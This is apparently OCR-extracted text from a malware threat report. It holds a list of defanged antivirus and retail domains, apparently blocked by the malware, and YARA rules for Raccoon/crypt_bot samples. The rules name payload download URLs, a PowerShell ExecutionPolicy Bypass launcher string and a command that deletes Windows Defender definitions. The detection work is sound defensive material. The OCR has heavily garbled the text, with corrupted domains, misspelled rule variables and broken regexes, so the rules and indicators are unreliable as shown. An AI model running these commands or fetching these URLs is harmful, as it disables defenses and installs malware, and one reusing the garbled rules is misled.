kieskeurig[.]Jcom
internetsecurity[.]xfinity[.]Jcom
www].linternetsecurity[.]1xfinity[.]Jcom
wwwl[.]symantec[.]Jcom
symantec[.Jcom
www[.Jcampusshop[.Jcom
campusshop[.Jcom
wwwi.]pandasecurity[.Jcom
pandasecurity[.]Jcom
www[.]paradigit[.]Jcom
paradigit[.Jcom

www][.]softpedial.]Jcom
softpedial.]Jcom
wwwwl[.]flipkart[.]Jcom
flipkart[.Jcom
virustotal[.Jcom
www[.]virustotal[.]Jcom
wwwi[.]Jemsisoft[.Jcom
emsisoft].]Jcom
wwwl[.]Jantimalwaresoftware[.]Jcom
antimalwaresoftware[.Jcom
www.]powebplus[.]Jcom
pcwebplus[.Jcom
www.]pemagl.Jcom
pcmag[.Jcom
wwwl[.]Jeset[.Jcom
www][.lkpn[.]Jcom

kpn[.Jcom
wwwl[.Jkaspersky[.Jcom
kaspersky[.Jcom
wwwl[.]Jconsumentenbond[.]Jcom
consumentenbond[.Jcom
wwwl[.]surfspot[.Jcom
surfspot[.Jcom
www][.]topreviews[.]Jcom
topreviews[.Jcom
wwwl[.]Jamecomputers[.Jcom
amecomputers[.]Jcom
www(.]instantsoftware[.Jcom
instantsoftware[.]Jcom
www([.]Jmalwarebytes[.Jcom
www][.]sophos[.]Jcom
sophos[.Jcom
homel[.]sophos[.]Jcom
www[.Jhome[.]sophos[.]Jcom
sophos|.]virtualsecurity[.Jcom
www[.]sophos[.]virtualsecurity[.]Jcom
www[.]gratissoftware[.]Jcom
gratissoftware[.Jcom
www(.]seniorweb[.]Jcom
seniorweb[.Jcom
www[.]softwareadvice[.Jcom
softwareadvice[.]Jcom
www][.]symantec[.]Jcom
symantec[.]Jcom
hostedendpoint[.]spn[.Jcom

eset[.Jcom
wwwl[.]surfspot].]Jcom
surfspot[.Jcom
wwwi.]Jtopantivirus[.Jcom
topantivirus[.Jcom
wwwi.]techzine[.]Jcom
techzine[.Jcom
wwwi.]eset[.Jcom

eset[.Jcom
www.]fortinet[.]Jcom
fortinet[.Jcom
fortiguard[.Jcom
wwwi.]fortiguard[.]com
forticlient[.]Jcom
wwwi.]forticlient[.]Jcom
malwarebytes[.Jcom
www[.lmalwarebytes[.]org
malwarebytes[.]org
download[.]Jenet[.]Jcom
wwwi.]download[.]Jcnet[.]Jcom
vwwwl[.]bleepingcomputer[.]Jcom
bleepingcomputer[.]Jcom
www[.]Jmajorgeeks[.Jcom
majorgeeks[.Jcom
wwwi.]seniorweb[.]Jcom
seniorweb[.Jcom
www[.]Jamazon[.]Jcom
amazon[.]Jcom
www][.]Jtechspot[.]Jcom
techspot[.Jcom
www[.]hostedendpoint[.]spn[.]Jcom
www][.]g2crowd[.]Jcom
g2crowd[.Jcom
www].]trendmicro[.]Jcom
trendmicro[.]Jcom
www][.]goedkoopsteantivirus[.Jcom
goedkoopsteantivirus[.Jcom
download[.]Jcnet[.Jcom
www[.]Jdownload[.]Jcnet[.]Jcom
www][.]ign[.]Jcom

ign[.Jcom
www][.]trusteer[.Jcom
trusteer[.Jcom
my[.Jwebrootanywhere[.]Jcom
www][.]Jmy[.]Jwebrootanywhere[.]Jcom




<

¥ YARA RULES

import "pe"
rule raccoon {
meta:
author =""
strings:
Smut0 = "{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}"
Smutl = "{1D6FC66E-D1F3-422C-8A53-COBBCF3D900D}"

Smut2 = "{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}"

Sa = "Syshelper"

$a0 = "/deny *s-1-1-0:(Ol)(CI)(DE,DC)"
Sal ="C:\\SystemID\\PersonallD.txt"
Sa2 = "LPCWSTRszTitle"

Sa3 = "LPCWSTRszWindowClass"

Sa4 = "1:\5d2860c89d774.jpg"

Surl0 = "http://asvb.top/files/penelop/updatewinl.exeSrun" nocase

Surll = "http://asvb.top/files/penelop/updatewin2.exeSrun" nocase

Surl2 = "http://asvb.top/files/penelop/updatewin.exeSrun" nocase

Surl3 = "http://asvb.top/files/penelop/5.exeSrun nocase

Surl4 = /(http://asvb.top/nddddhsspen6/get.php\?pid=)*([\w\d]{32}) *&first=true/ nocase

condition:
Sa or $Sa0 or Sal or Sa2 or $a3 or Sa4 or Smut0 or Smutl or Smut2 or SurlO or Surll or Surl2 or Surl3 or Surl4
}
rule crypt_bot {
meta:
author =""
strings:
Smut0 = "{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}"
Smutl = "{1D6FC66E-D1F3-422C-8A53-COBBCF3D900D}"

Smut2 = "{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}"

Sa = "Syshelper"

Sa0 ="/deny *S-1-1-0:(0l)(CI)(DE,DC)"
Sal = "C:\\System|D\\PersonallD.txt"
Sa2 = "LPCWSTRszTitle"

Sa3 = "LPCWSTRszWindowClass"

Sad ="1:\5d2860c89d774.jpg"

Surl0 = "http://asvb.top/files/penelop/updatewinl.exeSrun" nocase
Surll = "http://asvb.top/files/penelop/updatewin2.exeSrun" nocase
Surl2 = "http://asvb.top/files/penelop/updatewin.exeSrun" nocase




Surl3 = "http://asvb.top/files/penelop/5.exeSrun" nocase
Surl4 = /(http://asvb.top/nddddhsspen6/get.php\?pid=)*([\w\d]{32}) *&first=true/ nocase

condition:
Sa or $Sa0 or Sal or Sa2 or Sa3 or Sa4 or Smut0 or Smutl or Smut2 or SurlO or Surll or Surl2 or Surl3 or Surl4

rule updatewinl {
meta:

author =
strings:

Sa = "script.ps1"
Sa0 = "powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" nocase
Sal = "powershell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process" nocase

Sa2 = "owerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File \"\"" nocase
Sa3 = "Mpcmdrun.exe —removedefinitions —all" nocase

condition:
Sa or Sa0 or Sal or Sa2 or Sa3

rule updatewin2 {
meta:

author =
strings:

sa = /Mhttps?: V)2 (WA-_+ )\ (AWA-_\JH)V A2 (MR *) 242 ([M\n\r] )/

condition:
Sa and (pe.number_of sections ==5 and (pe.version_info["InternalName"] contains "gigifaw.exe") and ( pe.version_inf
o["FileVersion"] contains "5.3.7.82") and pe.EXECUTABLE_IMAGE
}
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